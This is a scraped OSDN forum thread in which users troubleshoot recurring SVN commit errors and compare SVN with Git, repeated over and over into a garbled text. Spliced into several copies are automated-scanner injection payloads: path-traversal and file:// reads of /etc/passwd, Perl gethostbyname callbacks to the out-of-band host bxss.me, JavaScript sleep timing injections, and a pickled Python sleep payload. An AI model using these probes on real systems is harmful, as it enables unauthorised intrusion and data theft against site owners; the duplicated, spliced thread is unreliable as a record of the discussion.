https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
http://bxss.me/t/fit.txt?. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
/.././.././.././.././.././.././.././../etc/./passwd%00
gethostbyname(lc('hitqy'.'xrynslcx47036.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(67).chr(107).chr(82)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
file:///etc/passwd
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/"&&sleep(27*1000)*dluzex&&"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
bxss.me
".gethostbyname(lc("hitqs"."ginvtddt1932c.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(67).chr(103).chr(72)."
invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
ctime sleep p0 (I30 tp1 Rp2 .
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'&&sleep(27*1000)*ydedmu&&'
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
